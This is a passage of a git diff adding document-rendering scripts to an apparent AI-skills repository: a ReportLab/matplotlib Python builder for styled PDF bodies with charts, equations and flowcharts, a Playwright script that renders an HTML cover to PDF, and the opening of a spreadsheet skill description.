self.height, id="body", + ) + tmpl = PageTemplate(id="main", frames=fr, onPage=self._decorate) + self.addPageTemplates([tmpl]) + + def _decorate(self, canv, doc): + t = self._t + lm = doc.leftMargin + rm = doc.rightMargin + pw = doc.pagesize[0] + ph = doc.pagesize[1] + top = ph - doc.topMargin + + canv.saveState() + + # Header accent rule + canv.setStrokeColor(HexColor(t["accent"])) + canv.setLineWidth(1.5) + canv.line(lm, top + 12, pw - rm, top + 12) + + # Header: title (left) + date (right) + canv.setFillColor(HexColor(t["muted"])) + canv.setFont(t["font_body_rl"], t["size_meta"]) + canv.drawString(lm, top + 16, t["title"].upper()) + canv.drawRightString(pw - rm, top + 16, t.get("date", "")) + + # Footer rule + canv.setStrokeColor(HexColor("#DDDDDD")) + canv.setLineWidth(0.5) + canv.line(lm, doc.bottomMargin - 12, pw - rm, doc.bottomMargin - 12) + + # Footer: author (left) + page number (right) + canv.setFillColor(HexColor(t["muted"])) + canv.setFont(t["font_body_rl"], t["size_meta"]) + canv.drawString(lm, doc.bottomMargin - 22, t.get("author", "")) + canv.drawRightString(pw - rm, doc.bottomMargin - 22, str(doc.page)) + + canv.restoreState() + + +# ══════════════════════════════════════════════════════════════════════════════ +# Style factory +# ══════════════════════════════════════════════════════════════════════════════ + +def make_styles(t: dict) -> dict: + hf = t["font_display_rl"] + bf = t["font_body_rl"] + bfb = t["font_body_b_rl"] + dk = t["body_text"] + d = t["dark"] + mu = t["muted"] + + return { + "h1": ParagraphStyle("H1", + fontName=hf, fontSize=t["size_h1"], + leading=t["size_h1"] * 1.3, + textColor=HexColor(d), + spaceBefore=t["section_gap"], spaceAfter=4, + ), + "h2": ParagraphStyle("H2", + fontName=hf, fontSize=t["size_h2"], + leading=t["size_h2"] * 1.4, + textColor=HexColor(d), + spaceBefore=18, spaceAfter=5, + ), + "h3": ParagraphStyle("H3", + fontName=bfb, fontSize=t["size_h3"], + leading=t["size_h3"] * 1.5, + textColor=HexColor(d), + spaceBefore=12, spaceAfter=3, + ), + "body": ParagraphStyle("Body", + fontName=bf, fontSize=t["size_body"], + leading=t["line_gap"], + textColor=HexColor(dk), + spaceAfter=t["para_gap"], alignment=TA_JUSTIFY, + ), + "bullet": ParagraphStyle("Bullet", + fontName=bf, fontSize=t["size_body"], + leading=t["line_gap"] - 1, + textColor=HexColor(dk), + spaceAfter=4, leftIndent=14, + ), + "numbered": ParagraphStyle("Numbered", + fontName=bf, fontSize=t["size_body"], + leading=t["line_gap"] - 1, + textColor=HexColor(dk), + spaceAfter=4, leftIndent=22, firstLineIndent=-22, + ), + "callout": ParagraphStyle("Callout", + fontName=bfb, fontSize=t["size_body"] + 0.5, leading=16, + textColor=HexColor(d), + ), + "caption": ParagraphStyle("Caption", + fontName=bf, fontSize=t["size_caption"], leading=13, + textColor=HexColor(mu), spaceAfter=6, + alignment=TA_CENTER, + ), + "table_header": ParagraphStyle("TblH", + fontName=bfb, fontSize=9.5, leading=13, + textColor=HexColor("#FFFFFF"), + ), + "table_cell": ParagraphStyle("TblC", + fontName=bf, fontSize=9.5, leading=13, + textColor=HexColor(dk), + ), + "code": ParagraphStyle("Code", + fontName="Courier", fontSize=8.5, leading=12.5, + textColor=HexColor(dk), + ), + "code_lang": ParagraphStyle("CodeLang", + fontName="Courier", fontSize=7, leading=10, + textColor=HexColor(mu), + ), + "bib": ParagraphStyle("Bib", + fontName=bf, fontSize=9, leading=14, + textColor=HexColor(dk), + ), + "bib_title": ParagraphStyle("BibTitle", + fontName=hf, fontSize=t["size_h2"], + leading=t["size_h2"] * 1.4, + textColor=HexColor(d), + spaceBefore=t["section_gap"], spaceAfter=8, + ), + "math_fallback": ParagraphStyle("MathFb", + fontName="Courier", fontSize=9, leading=13, + textColor=HexColor(dk), + ), + "eq_label": ParagraphStyle("EqLabel", + fontName="Helvetica", fontSize=9, leading=12, + textColor=HexColor(mu), + ), + } + + +# ══════════════════════════════════════════════════════════════════════════════ +# Shared helpers +# ══════════════════════════════════════════════════════════════════════════════ + +def _divider(accent: str) -> HRFlowable: + return HRFlowable( + width="100%", thickness=1.2, + color=HexColor(accent), + spaceBefore=14, spaceAfter=14, + ) + + +def _image_from_bytes(png_bytes: bytes, usable_w: float, + max_frac: float = 0.88) -> RLImage: + """Create a scaled RLImage from PNG bytes, bounded to max_frac of usable_w.""" + img = RLImage(io.BytesIO(png_bytes)) + max_w = usable_w * max_frac + if img.drawWidth > max_w: + scale = max_w / img.drawWidth + img.drawWidth = max_w + img.drawHeight = img.drawHeight * scale + return img + + +# ══════════════════════════════════════════════════════════════════════════════ +# PNG renderers (matplotlib) +# ══════════════════════════════════════════════════════════════════════════════ + +def _render_math_png(expr: str, dpi: int = 180) -> bytes | None: + """ + Render a LaTeX math expression via matplotlib mathtext. + No LaTeX binary required — uses matplotlib's built-in math parser. + Supports: fractions (\\frac), integrals (\\int), sums (\\sum), + Greek letters, sub/superscripts, etc. + """ + try: + import matplotlib + matplotlib.use("Agg") + import matplotlib.pyplot as plt + + fig = plt.figure(figsize=(8, 1.2)) + fig.patch.set_facecolor("white") + ax = fig.add_axes([0, 0, 1, 1]) + ax.set_axis_off() + ax.set_facecolor("white") + ax.text(0.5, 0.5, f"${expr}$", + fontsize=16, ha="center", va="center", + transform=ax.transAxes) + buf = io.BytesIO() + fig.savefig(buf, format="png", dpi=dpi, bbox_inches="tight", + facecolor="white", pad_inches=0.1) + plt.close(fig) + buf.seek(0) + return buf.read() + except Exception: + return None + + +def _render_chart_png(item: dict, accent: str, dpi: int = 150) -> bytes | None: + """ + Render bar / line / pie chart to PNG using matplotlib. + + Required fields: + chart_type "bar" | "line" | "pie" (default "bar") + labels list of category strings + datasets list of {label?, values: list[number]} + + Optional fields: + title chart title + x_label X-axis label + y_label Y-axis label + """ + try: + import matplotlib + matplotlib.use("Agg") + import matplotlib.pyplot as plt + import matplotlib.colors as mcolors + import colorsys + import numpy as np + + chart_type = item.get("chart_type", "bar") + title_text = item.get("title", "") + labels = item.get("labels", []) + datasets = item.get("datasets", []) + + # Derive a consistent palette from the document accent color + r, g, b = mcolors.to_rgb(accent) + h, s, v = colorsys.rgb_to_hsv(r, g, b) + palette = [ + colorsys.hsv_to_rgb( + (h + i * 0.13) % 1.0, + max(0.35, s - i * 0.08), + min(0.92, v + i * 0.04), + ) + for i in range(max(len(datasets), 1)) + ] + + fig, ax = plt.subplots(figsize=(7, 3.6), dpi=dpi) + fig.patch.set_facecolor("white") + ax.set_facecolor("white") + + if chart_type == "bar": + x = np.arange(len(labels)) + n = max(len(datasets), 1) + width = 0.68 / n + for i, ds in enumerate(datasets): + offset = (i - (n - 1) / 2) * width + ax.bar(x + offset, ds.get("values", []), width * 0.88, + label=ds.get("label", f"Series {i+1}"), + color=palette[i % len(palette)], edgecolor="none") + ax.set_xticks(x) + ax.set_xticklabels(labels, fontsize=8.5) + ax.yaxis.grid(True, alpha=0.25, color="#CCCCCC", linewidth=0.7) + ax.set_axisbelow(True) + if item.get("x_label"): + ax.set_xlabel(item["x_label"], fontsize=8.5) + if item.get("y_label"): + ax.set_ylabel(item["y_label"], fontsize=8.5) + + elif chart_type == "line": + x = np.arange(len(labels)) + for i, ds in enumerate(datasets): + ax.plot(x, ds.get("values", []), marker="o", markersize=3.5, + label=ds.get("label", f"Series {i+1}"), + color=palette[i % len(palette)], linewidth=1.8) + ax.set_xticks(x) + ax.set_xticklabels(labels, fontsize=8.5) + ax.yaxis.grid(True, alpha=0.25, color="#CCCCCC", linewidth=0.7) + ax.set_axisbelow(True) + if item.get("x_label"): + ax.set_xlabel(item["x_label"], fontsize=8.5) + if item.get("y_label"): + ax.set_ylabel(item["y_label"], fontsize=8.5) + + elif chart_type == "pie": + vals = datasets[0].get("values", []) if datasets else [] + colors = [ + colorsys.hsv_to_rgb( + (h + i * 0.11) % 1.0, + max(0.30, s - i * 0.06), + min(0.92, v + i * 0.03), + ) + for i in range(len(vals)) + ] + ax.pie(vals, labels=labels, colors=colors, + autopct="%1.1f%%", pctdistance=0.82, + wedgeprops=dict(edgecolor="white", linewidth=1.4), + textprops=dict(fontsize=8.5)) + + # Shared styling + for spine in ax.spines.values(): + spine.set_linewidth(0.5) + spine.set_color("#CCCCCC") + ax.tick_params(axis="both", length=0, labelsize=8.5) + if title_text: + ax.set_title(title_text, fontsize=10, pad=8, + color="#333333", fontweight="bold") + if len(datasets) > 1 and chart_type != "pie": + ax.legend(frameon=False, fontsize=8, loc="upper right") + + plt.tight_layout(pad=0.4) + buf = io.BytesIO() + fig.savefig(buf, format="png", dpi=dpi, bbox_inches="tight", + facecolor="white", pad_inches=0.06) + plt.close(fig) + buf.seek(0) + return buf.read() + except Exception: + return None + + +def _render_flowchart_png(item: dict, accent: str, dark: str, + muted: str, dpi: int = 130) -> bytes | None: + """ + Render a top-to-bottom flowchart using matplotlib patches and arrows. + + Node schema: {id, label, shape?} + shape: "rect" (default) | "diamond" | "oval" | "parallelogram" + + Edge schema: {from, to, label?} + Forward edges (to a later node) draw straight arrows. + Back edges (to an earlier node) draw a curved arc to the right. + """ + try: + import matplotlib + matplotlib.use("Agg") + import matplotlib.pyplot as plt + import matplotlib.patches as mpatch + from matplotlib.patches import FancyBboxPatch + import matplotlib.colors as mcolors + + nodes_list = item.get("nodes", []) + edges = item.get("edges", []) + if not nodes_list: + return None + + nodes = {n["id"]: n for n in nodes_list} + order = {n["id"]: i for i, n in enumerate(nodes_list)} + + n_nodes = len(nodes_list) + BOX_W = 4.2 + BOX_H = 0.58 + STEP_Y = 1.25 + CX = 5.0 + + fig_h = max(3.5, n_nodes * STEP_Y + 0.8) + fig, ax = plt.subplots(figsize=(6, fig_h), dpi=dpi) + fig.patch.set_facecolor("white") + ax.set_facecolor("white") + ax.set_xlim(0, 10) + ax.set_ylim(-0.6, n_nodes * STEP_Y + 0.2) + ax.invert_yaxis() + ax.axis("off") + + acc_rgb = mcolors.to_rgb(accent) + dark_rgb = mcolors.to_rgb(dark) + muted_rgb = mcolors.to_rgb(muted) + + # Node positions (cx, cy) — preserves input order + pos = {nid: (CX, i * STEP_Y) for nid, i in order.items()} + + # ── Draw edges (behind nodes) ────────────────────────────────────────── + for edge in edges: + src, dst = edge.get("from"), edge.get("to") + if src not in pos or dst not in pos: + continue + x1, y1 = pos[src] + x2, y2 = pos[dst] + lbl = edge.get("label", "") + + src_shape = nodes.get(src, {}).get("shape", "rect") + dst_shape = nodes.get(dst, {}).get("shape", "rect") + dy_src = BOX_H * (0.80 if src_shape == "diamond" else 0.50) + dy_dst = BOX_H * (0.80 if dst_shape == "diamond" else 0.50) + + y_start = y1 + dy_src + y_end = y2 - dy_dst + + # Forward edge: straight; back-edge: curved arc + conn = "arc3,rad=0.0" if y_end > y_start + 0.01 else "arc3,rad=0.42" + + ax.annotate("", + xy=(x2, y_end), xytext=(x1, y_start), + arrowprops=dict( + arrowstyle="-|>", color=muted_rgb, + lw=1.0, mutation_scale=10, + connectionstyle=conn, + ), + ) + if lbl: + mid_x = (x1 + x2) / 2 + 0.28 + mid_y = (y_start + y_end) / 2 + ax.text(mid_x, mid_y, lbl, fontsize=7.5, + color=muted_rgb, ha="left", va="center") + + # ── Draw nodes (in front of edges) ──────────────────────────────────── + for nid, (cx, cy) in pos.items(): + node = nodes[nid] + shape = node.get("shape", "rect") + label = node.get("label", nid) + left = cx - BOX_W / 2 + bot = cy - BOX_H / 2 + + if shape in ("oval", "terminal"): + el = mpatch.Ellipse( + (cx, cy), BOX_W * 0.78, BOX_H * 1.15, + facecolor=acc_rgb, edgecolor=acc_rgb, linewidth=0, + ) + ax.add_patch(el) + ax.text(cx, cy, label, ha="center", va="center", + fontsize=8.5, fontweight="bold", color="white") + + elif shape == "diamond": + d = BOX_W * 0.44 + diamond = plt.Polygon( + [(cx, cy - d * 0.72), (cx + d, cy), + (cx, cy + d * 0.72), (cx - d, cy)], + facecolor="#FFFCF0", + edgecolor=accent, linewidth=1.2, + ) + ax.add_patch(diamond) + ax.text(cx, cy, label, ha="center", va="center", + fontsize=8, color=dark_rgb) + + elif shape == "parallelogram": + skew = 0.30 + para = plt.Polygon( + [(left + skew, bot), (left + BOX_W + skew, bot), + (left + BOX_W, bot + BOX_H), (left, bot + BOX_H)], + facecolor="white", + edgecolor=accent, linewidth=1.2, + ) + ax.add_patch(para) + ax.text(cx, cy, label, ha="center", va="center", + fontsize=8.5, color=dark_rgb) + + else: # rect (default) + rect = FancyBboxPatch( + (left, bot), BOX_W, BOX_H, + boxstyle="round,pad=0.04", + facecolor="white", + edgecolor=accent, linewidth=1.2, + ) + ax.add_patch(rect) + ax.text(cx, cy, label, ha="center", va="center", + fontsize=8.5, color=dark_rgb) + + plt.tight_layout(pad=0.2) + buf = io.BytesIO() + fig.savefig(buf, format="png", dpi=dpi, bbox_inches="tight", + facecolor="white", pad_inches=0.08) + plt.close(fig) + buf.seek(0) + return buf.read() + except Exception: + return None + + +# ══════════════════════════════════════════════════════════════════════════════ +# Block renderers +# +# All functions share the same signature: +# _add_XXX(story: list, item: dict, ctx: dict) +# +# ctx keys: +# tokens dict design tokens from palette.py +# styles dict ParagraphStyle objects from make_styles() +# usable_w float usable page width in points +# acc str accent hex color +# acc_lt str light accent hex color +# mu str muted hex color +# dark str dark hex color +# figure_n int auto-incrementing figure counter (mutable) +# numbered_n int auto-incrementing list counter (mutable) +# ══════════════════════════════════════════════════════════════════════════════ + +def _add_heading(story: list, item: dict, ctx: dict, level: int): + key = f"h{level}" + para = Paragraph(item["text"], ctx["styles"][key]) + if level == 1: + story.append(KeepTogether([para, _divider(ctx["acc"])])) + else: + story.append(para) + + +def _add_body(story: list, item: dict, ctx: dict): + story.append(Paragraph(item["text"], ctx["styles"]["body"])) + + +def _add_bullet(story: list, item: dict, ctx: dict): + story.append(Paragraph( + f"\u2022\u2002{item['text']}", ctx["styles"]["bullet"] + )) + + +def _add_numbered(story: list, item: dict, ctx: dict): + ctx["numbered_n"] += 1 + story.append(Paragraph( + f"{ctx['numbered_n']}.\u2002{item['text']}", + ctx["styles"]["numbered"], + )) + + +def _add_callout(story: list, item: dict, ctx: dict): + story.append(Spacer(1, 8)) + story.append(CalloutBox( + item["text"], ctx["styles"]["callout"], ctx["acc"], ctx["acc_lt"] + )) + story.append(Spacer(1, 8)) + + +def _add_table(story: list, item: dict, ctx: dict): + t = ctx["tokens"] + styles = ctx["styles"] + usable_w = ctx["usable_w"] + acc = ctx["acc"] + acc_lt = ctx["acc_lt"] + + headers = [Paragraph(h, styles["table_header"]) for h in item["headers"]] + rows = [ + [Paragraph(str(c), styles["table_cell"]) for c in row] + for row in item.get("rows", []) + ] + n_cols = len(item["headers"]) + + # Optional col_widths as fractions summing to 1.0 + if "col_widths" in item and len(item["col_widths"]) == n_cols: + col_w = [usable_w * f for f in item["col_widths"]] + else: + col_w = [usable_w / n_cols] * n_cols + + tbl = Table([headers] + rows, colWidths=col_w) + tbl.setStyle(TableStyle([ + ("BACKGROUND", (0, 0), (-1, 0), HexColor(acc)), + ("TEXTCOLOR", (0, 0), (-1, 0), HexColor("#FFFFFF")), + ("FONTNAME", (0, 0), (-1, 0), t["font_body_b_rl"]), + ("FONTSIZE", (0, 0), (-1, 0), 9.5), + ("TOPPADDING", (0, 0), (-1, 0), 7), + ("BOTTOMPADDING", (0, 0), (-1, 0), 7), + ("ROWBACKGROUNDS", (0, 1), (-1, -1), + [HexColor("#FFFFFF"), HexColor(acc_lt)]), + ("FONTNAME", (0, 1), (-1, -1), t["font_body_rl"]), + ("FONTSIZE", (0, 1), (-1, -1), 9.5), + ("TOPPADDING", (0, 1), (-1, -1), 6), + ("BOTTOMPADDING", (0, 1), (-1, -1), 6), + ("LEFTPADDING", (0, 0), (-1, -1), 10), + ("RIGHTPADDING", (0, 0), (-1, -1), 10), + ("BOX", (0, 0), (-1, -1), 0.5, HexColor("#CCCCCC")), + ("LINEBELOW", (0, 0), (-1, 0), 1.2, HexColor(acc)), + ("TEXTCOLOR", (0, 1), (-1, -1), HexColor(t["body_text"])), + ("VALIGN", (0, 0), (-1, -1), "MIDDLE"), + ])) + story.append(tbl) + if item.get("caption"): + story.append(Spacer(1, 4)) + story.append(Paragraph(item["caption"], styles["caption"])) + story.append(Spacer(1, 12)) + + +def _add_image(story: list, item: dict, ctx: dict): + path = str(item.get("path", item.get("src", ""))) + if not os.path.exists(path): + story.append(Paragraph( + f"[Image not found: {path}]", ctx["styles"]["caption"] + )) + return + try: + img = RLImage(path) + uw = ctx["usable_w"] + if img.drawWidth > uw: + scale = uw / img.drawWidth + img.drawWidth = uw + img.drawHeight = img.drawHeight * scale + story.append(img) + except Exception as e: + story.append(Paragraph(f"[Image error: {e}]", ctx["styles"]["caption"])) + return + if item.get("caption"): + story.append(Spacer(1, 4)) + story.append(Paragraph(item["caption"], ctx["styles"]["caption"])) + story.append(Spacer(1, 8)) + + +def _add_figure(story: list, item: dict, ctx: dict): + """Like image but auto-numbers the caption as 'Figure N: ...'.""" + ctx["figure_n"] += 1 + raw_cap = item.get("caption", "") + caption = f"Figure {ctx['figure_n']}: {raw_cap}" if raw_cap \ + else f"Figure {ctx['figure_n']}" + _add_image(story, {**item, "caption": caption}, ctx) + + +def _add_code(story: list, item: dict, ctx: dict): + acc = ctx["acc"] + acc_lt = ctx["acc_lt"] + mu = ctx["mu"] + uw = ctx["usable_w"] + lang = item.get("language", "") + + pre = Preformatted(item.get("text", ""), ctx["styles"]["code"]) + tbl = Table([[pre]], colWidths=[uw]) + tbl.setStyle(TableStyle([ + ("BACKGROUND", (0, 0), (-1, -1), HexColor(acc_lt)), + ("LINEBEFORE", (0, 0), ( 0, -1), 3, HexColor(acc)), + ("BOX", (0, 0), (-1, -1), 0.5, HexColor(mu)), + ("LEFTPADDING", (0, 0), (-1, -1), 14), + ("RIGHTPADDING", (0, 0), (-1, -1), 10), + ("TOPPADDING", (0, 0), (-1, -1), 8), + ("BOTTOMPADDING", (0, 0), (-1, -1), 8), + ])) + story.append(Spacer(1, 6)) + if lang: + story.append(Paragraph(lang.upper(), ctx["styles"]["code_lang"])) + story.append(tbl) + story.append(Spacer(1, 6)) + + +def _add_math(story: list, item: dict, ctx: dict): + """ + Display math block. + + Fields: + text LaTeX math expression (without enclosing $) + label optional equation label, e.g. "(1)" — displayed right-aligned + caption optional caption below the formula + + Example: + {"type": "math", "text": "E = mc^2", "label": "(1)"} + {"type": "math", "text": "\\\\int_0^\\\\infty e^{-x^2}\\\\,dx = \\\\frac{\\\\sqrt{\\\\pi}}{2}"} + """ + acc = ctx["acc"] + acc_lt = ctx["acc_lt"] + uw = ctx["usable_w"] + expr = item.get("text", "").strip() + label = item.get("label", "").strip() + + png = _render_math_png(expr) + + if png is None: + # Graceful text fallback if matplotlib unavailable + story.append(Spacer(1, 6)) + pre = Preformatted(f" {expr}", ctx["styles"]["math_fallback"]) + tbl = Table([[pre]], colWidths=[uw]) + tbl.setStyle(TableStyle([ + ("BACKGROUND", (0, 0), (-1, -1), HexColor(acc_lt)), + ("LEFTPADDING", (0, 0), (-1, -1), 14), + ("RIGHTPADDING", (0, 0), (-1, -1), 14), + ("TOPPADDING", (0, 0), (-1, -1), 8), + ("BOTTOMPADDING", (0, 0), (-1, -1), 8), + ])) + story.append(tbl) + story.append(Spacer(1, 6)) + return + + img = _image_from_bytes(png, uw, max_frac=0.72) + story.append(Spacer(1, 10)) + + if label: + label_w = 44 + formula_w = uw - label_w + lbl_para = Paragraph(label, ctx["styles"]["eq_label"]) + row_tbl = Table([[img, lbl_para]], colWidths=[formula_w, label_w]) + row_tbl.setStyle(TableStyle([ + ("ALIGN", (0, 0), (0, 0), "CENTER"), + ("ALIGN", (1, 0), (1, 0), "RIGHT"), + ("VALIGN", (0, 0), (-1, -1), "MIDDLE"), + ])) + story.append(row_tbl) + else: + row_tbl = Table([[img]], colWidths=[uw]) + row_tbl.setStyle(TableStyle([ + ("ALIGN", (0, 0), (-1, -1), "CENTER"), + ])) + story.append(row_tbl) + + if item.get("caption"): + story.append(Spacer(1, 4)) + story.append(Paragraph(item["caption"], ctx["styles"]["caption"])) + story.append(Spacer(1, 10)) + + +def _add_chart(story: list, item: dict, ctx: dict): + """ + Render a chart (bar / line / pie) via matplotlib. + + Fields: + chart_type "bar" | "line" | "pie" (default "bar") + title chart title + labels list of category strings + datasets list of {label?, values: list[number]} + x_label X-axis label (bar/line) + y_label Y-axis label (bar/line) + caption caption text below chart + figure bool (default true) — prefix caption with "Figure N:" + """ + uw = ctx["usable_w"] + png = _render_chart_png(item, ctx["acc"]) + + if png is None: + story.append(Paragraph( + "[Chart: install matplotlib to render — pip install matplotlib]", + ctx["styles"]["caption"], + )) + return + + img = _image_from_bytes(png, uw, max_frac=0.95) + story.append(Spacer(1, 8)) + row_tbl = Table([[img]], colWidths=[uw]) + row_tbl.setStyle(TableStyle([("ALIGN", (0, 0), (-1, -1), "CENTER")])) + story.append(row_tbl) + + raw_cap = item.get("caption", "") + use_fig = item.get("figure", True) + if raw_cap or use_fig: + ctx["figure_n"] += 1 + prefix = f"Figure {ctx['figure_n']}: " if use_fig else "" + story.append(Spacer(1, 4)) + story.append(Paragraph(prefix + raw_cap, ctx["styles"]["caption"])) + story.append(Spacer(1, 10)) + + +def _add_flowchart(story: list, item: dict, ctx: dict): + """ + Render a flowchart via matplotlib. + + Fields: + nodes list of {id, label, shape?} + shape: "rect" (default) | "diamond" | "oval" | "parallelogram" + edges list of {from, to, label?} + caption caption below the diagram + figure bool (default true) — prefix caption with "Figure N:" + """ + uw = ctx["usable_w"] + png = _render_flowchart_png(item, ctx["acc"], ctx["dark"], ctx["mu"]) + + if png is None: + story.append(Paragraph( + "[Flowchart: install matplotlib to render — pip install matplotlib]", + ctx["styles"]["caption"], + )) + return + + img = _image_from_bytes(png, uw, max_frac=0.78) + story.append(Spacer(1, 8)) + row_tbl = Table([[img]], colWidths=[uw]) + row_tbl.setStyle(TableStyle([("ALIGN", (0, 0), (-1, -1), "CENTER")])) + story.append(row_tbl) + + raw_cap = item.get("caption", "") + use_fig = item.get("figure", True) + if raw_cap or use_fig: + ctx["figure_n"] += 1 + prefix = f"Figure {ctx['figure_n']}: " if use_fig else "" + story.append(Spacer(1, 4)) + story.append(Paragraph(prefix + raw_cap, ctx["styles"]["caption"])) + story.append(Spacer(1, 10)) + + +def _add_bibliography(story: list, item: dict, ctx: dict): + """ + Numbered reference list with hanging indent. + + Fields: + title section heading (default "References"); set "" to suppress + items list of {id, text} + + Example: + {"type": "bibliography", + "items": [ + {"id": "1", "text": "Smith, J. (2023). Title. Journal, 10(2), 1–15."}, + {"id": "2", "text": "Doe, A. (2022). Another title. Publisher."} + ]} + """ + heading = item.get("title", "References") + if heading: + story.append(KeepTogether([ + Paragraph(heading, ctx["styles"]["bib_title"]), + _divider(ctx["acc"]), + ])) + + for ref in item.get("items", []): + story.append(Spacer(1, 4)) + story.append(BibliographyItem( + str(ref.get("id", "")), + ref.get("text", ""), + ctx["styles"]["bib"], + ctx["dark"], + )) + + +# ══════════════════════════════════════════════════════════════════════════════ +# Story builder +# ══════════════════════════════════════════════════════════════════════════════ + +# Block types that break a numbered list sequence +_RESETS_NUMBERED = frozenset({ + "h1", "h2", "h3", "body", "bullet", "callout", "table", + "image", "figure", "code", "math", "chart", "flowchart", + "bibliography", "divider", "caption", "pagebreak", "spacer", +}) + + +def build_story(content: list, tokens: dict, styles: dict) -> list: + usable_w = A4[0] - tokens["margin_left"] - tokens["margin_right"] + + ctx: dict = { + "tokens": tokens, + "styles": styles, + "usable_w": usable_w, + "acc": tokens["accent"], + "acc_lt": tokens["accent_lt"], + "mu": tokens["muted"], + "dark": tokens["dark"], + "figure_n": 0, + "numbered_n": 0, + } + + story: list = [] + + for item in content: + kind = item.get("type", "body") + + if kind in _RESETS_NUMBERED: + ctx["numbered_n"] = 0 + + if kind == "h1": _add_heading(story, item, ctx, 1) + elif kind == "h2": _add_heading(story, item, ctx, 2) + elif kind == "h3": _add_heading(story, item, ctx, 3) + elif kind == "body": _add_body(story, item, ctx) + elif kind == "bullet": _add_bullet(story, item, ctx) + elif kind == "numbered": _add_numbered(story, item, ctx) + elif kind == "callout": _add_callout(story, item, ctx) + elif kind == "table": _add_table(story, item, ctx) + elif kind == "image": _add_image(story, item, ctx) + elif kind == "figure": _add_figure(story, item, ctx) + elif kind == "code": _add_code(story, item, ctx) + elif kind == "math": _add_math(story, item, ctx) + elif kind == "chart": _add_chart(story, item, ctx) + elif kind == "flowchart": _add_flowchart(story, item, ctx) + elif kind == "bibliography": _add_bibliography(story, item, ctx) + elif kind == "divider": story.append(_divider(ctx["acc"])) + elif kind == "caption": + story.append(Paragraph(item["text"], styles["caption"])) + elif kind == "pagebreak": story.append(PageBreak()) + elif kind == "spacer": story.append(Spacer(1, item.get("pt", 12))) + + return story + + +# ══════════════════════════════════════════════════════════════════════════════ +# Main build +# ══════════════════════════════════════════════════════════════════════════════ + +def build(tokens: dict, content: list, out_path: str) -> dict: + register_fonts(tokens) + styles = make_styles(tokens) + + doc = BeautifulDoc( + out_path, tokens, + pagesize=A4, + leftMargin=tokens["margin_left"], + rightMargin=tokens["margin_right"], + topMargin=tokens["margin_top"], + bottomMargin=tokens["margin_bottom"], + ) + doc.build(build_story(content, tokens, styles)) + + size = os.path.getsize(out_path) + return {"status": "ok", "out": out_path, "size_kb": size // 1024} + + +# ══════════════════════════════════════════════════════════════════════════════ +# CLI +# ══════════════════════════════════════════════════════════════════════════════ + +def main(): + parser = argparse.ArgumentParser( + description="Render body PDF from tokens.json + content.json" + ) + parser.add_argument("--tokens", default="tokens.json") + parser.add_argument("--content", default="content.json") + parser.add_argument("--out", default="body.pdf") + args = parser.parse_args() + + for fpath in (args.tokens, args.content): + if not os.path.exists(fpath): + print( + json.dumps({"status": "error", + "error": f"File not found: {fpath}"}), + file=sys.stderr, + ) + sys.exit(1) + + with open(args.tokens, encoding="utf-8") as f: + tokens = json.load(f) + with open(args.content, encoding="utf-8") as f: + content = json.load(f) + + try: + result = build(tokens, content, args.out) + print(json.dumps(result)) + except Exception as e: + import traceback + print( + json.dumps({ + "status": "error", + "error": str(e), + "trace": traceback.format_exc(), + }), + file=sys.stderr, + ) + sys.exit(3) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-pdf/scripts/render_cover.js b/skills/minimax-pdf/scripts/render_cover.js new file mode 100644 index 0000000..8a29692 --- /dev/null +++ b/skills/minimax-pdf/scripts/render_cover.js @@ -0,0 +1,111 @@ +#!/usr/bin/env node +/** + * render_cover.js — Render cover.html → cover.pdf via Playwright. + * + * Usage: + * node render_cover.js --input cover.html --out cover.pdf + * node render_cover.js --input cover.html --out cover.pdf --wait 1200 + * + * Exit codes: 0 success, 1 bad args, 2 dependency missing, 3 render error + */ + +const path = require("path"); +const fs = require("fs"); + +function usage() { + console.error("Usage: node render_cover.js --input --out [--wait ]"); + process.exit(1); +} + +// ── Arg parsing ──────────────────────────────────────────────────────────────── +const args = process.argv.slice(2); +let inputFile = null, outFile = null, waitMs = 800; + +for (let i = 0; i < args.length; i++) { + if (args[i] === "--input" && args[i + 1]) { inputFile = args[++i]; } + else if (args[i] === "--out" && args[i + 1]) { outFile = args[++i]; } + else if (args[i] === "--wait" && args[i + 1]) { waitMs = parseInt(args[++i], 10); } +} + +if (!inputFile || !outFile) usage(); +if (!fs.existsSync(inputFile)) { + console.error(JSON.stringify({ status: "error", error: `File not found: ${inputFile}` })); + process.exit(1); +} + +// ── Playwright loader (tolerates global npm installs) ───────────────────────── +function loadPlaywright() { + const { execSync } = require("child_process"); + try { return require("playwright"); } catch (_) {} + try { + const root = execSync("npm root -g", { stdio: ["ignore","pipe","ignore"] }).toString().trim(); + return require(path.join(root, "playwright")); + } catch (_) {} + console.error(JSON.stringify({ + status: "error", + error: "playwright not found", + hint: "Run: npm install -g playwright && npx playwright install chromium" + })); + process.exit(2); +} + +// ── Main ─────────────────────────────────────────────────────────────────────── +(async () => { + const { chromium } = loadPlaywright(); + + let browser; + try { + browser = await chromium.launch(); + } catch (e) { + // Chromium binary missing — try installing + const { spawnSync } = require("child_process"); + const r = spawnSync("npx", ["playwright", "install", "chromium"], { stdio: "inherit", shell: true }); + if (r.status !== 0) { + console.error(JSON.stringify({ + status: "error", + error: "Chromium not installed and auto-install failed", + hint: "Run: npx playwright install chromium" + })); + process.exit(2); + } + browser = await chromium.launch(); + } + + try { + const page = await browser.newPage(); + const fileUrl = "file://" + path.resolve(inputFile); + await page.goto(fileUrl); + await page.waitForTimeout(waitMs); // let CSS + any JS settle + + await page.pdf({ + path: outFile, + width: "794px", + height: "1123px", + printBackground: true, + }); + + await browser.close(); + + // Basic sanity: output file must exist and be > 5 KB + const stat = fs.statSync(outFile); + if (stat.size < 5000) { + console.error(JSON.stringify({ + status: "error", + error: "Output PDF is suspiciously small — cover may be blank", + hint: "Check cover.html for render errors" + })); + process.exit(3); + } + + console.log(JSON.stringify({ + status: "ok", + out: outFile, + size_kb: Math.round(stat.size / 1024), + })); + + } catch (e) { + if (browser) await browser.close().catch(() => {}); + console.error(JSON.stringify({ status: "error", error: String(e) })); + process.exit(3); + } +})(); diff --git a/skills/minimax-xlsx/SKILL.md b/skills/minimax-xlsx/SKILL.md new file mode 100644 index 0000000..0d02ceb --- /dev/null +++ b/skills/minimax-xlsx/SKILL.md @@ -0,0 +1,138 @@ +--- +name: minimax-xlsx +description: "Open, create, read, analyze, edit, or validate Excel/spreadsheet files (.xlsx, .xlsm, .csv, .tsv). Use when the user asks to create, build, modify, analyze, read, validate, or format any Excel spreadsheet, financial model, pivot table, or tabular data file. Covers: creating new xlsx from scratch, reading and analyzing existing files, editing existing xlsx with zero format loss, formula recalculation and validation, and applying professional financial formatting standards. Triggers on 